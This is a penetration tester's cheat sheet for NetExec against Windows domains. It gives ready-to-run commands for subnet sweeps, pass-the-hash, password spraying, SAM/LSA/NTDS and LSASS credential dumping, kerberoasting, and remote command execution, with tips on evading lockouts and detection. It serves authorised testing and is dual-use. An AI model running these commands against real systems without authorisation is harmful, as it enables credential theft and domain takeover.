# nxc — sweep a subnet, own the domain NetExec (the CrackMapExec successor) over SMB/LDAP/WinRM/MSSQL. `nxc` is the alias for `netexec` (`cme` too, for muscle memory); the `nxc-*` wrappers default their target to `$TARGET`. Enumerate first, then loot — see `cheat impacket` for psexec/secretsdump, `cheat kerberos` for AS-REP/kerberoast. ## Sweep (your wrappers — target defaults to `$TARGET`) - **`nxc-smb [ip] …`** — `netexec smb` · **`nxc-ldap [ip] …`** — LDAP · **`nxc-winrm [ip] …`** — WinRM (5985) · **`nxc-mssql [ip] …`** — SQL (1433) - Bare **`nxc-smb`** with no args = null/unauth check against `$TARGET`: OS, hostname, domain, SMB signing, SMBv1. - **Gotcha:** arg 1 is *always* consumed as the host. To add flags you must name the target — `nxc-smb $TARGET -u admin -p pass`, not `nxc-smb -u admin` (that treats `-u` as the host). Drop to raw `nxc smb …` when it gets awkward. - **`nxc-smb 10.10.10.0/24`** — CIDR/range/file all work: sweep a whole subnet in one shot, grep for `[+]` and `(signing:False)`. ## Authenticate ``` nxc smb $TARGET -u user -p 'Pass123' password nxc smb $TARGET -u user -H pass-the-hash (LM:NT or just NT) nxc smb $TARGET -u user -p '' --local-auth local SAM account, not domain nxc smb $TARGET -u users.txt -p pass.txt files = spray (see below) nxc smb $TARGET -u user -p pass -d DOMAIN set the domain nxc smb $TARGET -k --use-kcache Kerberos from $KRB5CCNAME ``` - **A green `[+]`** = valid creds. **`(Pwn3d!)`** after it = you have admin (local or DA) on that box — the flag that decides whether you can exec. - **`--continue-on-success`** — don't stop at the first hit when spraying a user list. ## Enumerate (SMB) - **`--shares`** — list shares + your READ/WRITE per share · **`smb-shares [ip]`** does the same via smbmap with a recursive dir view. - **`--users`** — domain users · **`--groups`** · **`--computers`** · **`--rid-brute`** — pull users by RID range when `--users` is blocked. - **`--pass-pol`** — password policy: lockout threshold before you spray blind, min length, complexity. - **`--sessions`** · **`--loggedon-users`** · **`--disks`** · **`-M enum_avproducts`** — see what EDR is watching. - **`--sam`** (admin, loud) — dump local SAM hashes · **`--lsa`** — LSA secrets/cached creds · **`--ntds`** (DA, loud) — dump the whole domain via DRSUAPI. ## Modules & loot - **`-L`** — list modules for the protocol · **`-M --options`** — show a module's opts. - **`-M spider_plus`** — map every readable file in every share (great recon) · **`-M spider_plus -o DOWNLOAD_FLAG=True`** — pull them. - **`-M lsassy`** — dump LSASS creds remotely (admin, loud) · **`-M gpp_password`** — cpassword from SYSVOL Groups.xml · **`-M zerologon` / `-M petitpotam` / `-M nopac`** — CVE checks (probe, don't fire, on real engagements). - **`-x 'whoami'`** — run a command (needs Pwn3d!) · **`-X '$PSVersionTable'`** — PowerShell. ## Spray (careful — watch `--pass-pol` first) ``` nxc smb $TARGET -u $USERNAMES -p 'Winter2026!' --continue-on-success one pass, many users nxc smb $TARGET -u valid.txt -p valid.txt --no-bruteforce pair line-by-line, no NxM nxc ldap $DC -u users.txt -p pass.txt --continue-on-success LDAP works when SMB is filtered ``` - **`--no-bruteforce`** zips user↔pass line-by-line (for known credential pairs); without it every user is tried against every password. **Lockouts are loud and get you caught** — stay under the threshold `--pass-pol` reported, one spray per policy window. ## Other protocols - **`nxc-ldap $TARGET -u u -p p --asreproast out.txt`** — AS-REP roast · **`--kerberoasting out.txt`** — SPN tickets · **`-M user-desc`** — passwords hiding in description fields · **`--bloodhound -c all`** — collect straight into BloodHound. - **`nxc-winrm $TARGET -u u -p p -x whoami`** — if it says Pwn3d!, jump to a shell with `evil-winrm -i $TARGET -u u -p p`. - **`nxc-mssql $TARGET -u sa -p p --local-auth -q 'SELECT @@version'`** · **`-x whoami`** auto-enables xp_cmdshell (loud). ## Raw tools when nxc is thin | Tool | Use it for | |---|---| | `nxc` / `netexec` | the sweeper — everything above | | `smbmap -H $TARGET` (`smb-shares`) | share perms + recursive listing, cleaner than `--shares` | | `enum4linux-ng $TARGET` (`e4l`) | one-shot dump: users, groups, shares, policy, RID cycling | | `smbclient -N -L //$TARGET` | null-session share list · `smbclient //$TARGET/share -U user` to browse | | `rpcclient -U '' -N $TARGET` | `enumdomusers`, `querydominfo`, `lsaenumsid` by hand | | `rdp [host] [user] [pass]` | xfreerdp with clipboard + dynamic-res, falls back to `open rdp://` | > Recon order: `nxc-smb $TARGET` (signing? SMBv1?) → `--pass-pol` → `--users`/`--rid-brute` → spray → `--shares`/spider. Save valid pairs to files and re-feed them across `smb`/`ldap`/`winrm`/`mssql` — one credential often unlocks four services.